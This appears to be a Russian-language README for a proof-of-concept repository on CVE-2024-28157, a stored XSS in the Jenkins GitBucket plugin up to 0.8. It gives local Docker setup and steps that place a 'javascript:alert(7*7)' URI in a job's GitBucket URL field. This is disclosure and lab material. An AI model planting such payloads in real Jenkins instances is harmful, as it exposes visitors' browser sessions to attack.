PoC_CVE-2024-28157

CVE-2024-28157 — Хранимый XSS в плагине Jenkins GitBucket <= 0.8

Поле URL GitBucket в конфигурации задания не санитизируется. Установка его в javascript: URI сохраняет полезную нагрузку и выполняет её в браузере любого посетителя при открытии страницы состояния проекта.

Отчёт https://report-cve-2024-28157.vercel.app/

Установка

bash poc/download-plugins
docker compose up --build

Jenkins работает на http://localhost:8080 Разблокируйте с помощью пароля администратора из: docker compose logs jenkins

Воспроизведение

1. Создайте проект Freestyle
2. Configure > GitBucket > URL: javascript:alert(7*7)
3. Сохраните, затем откройте страницу проекта
4. Срабатывает alert с 49 (7*7)

Скриншоты находятся в poc/screenshots/

Ссылки

NVD https://nvd.nist.gov/vuln/detail/CVE-2024-28157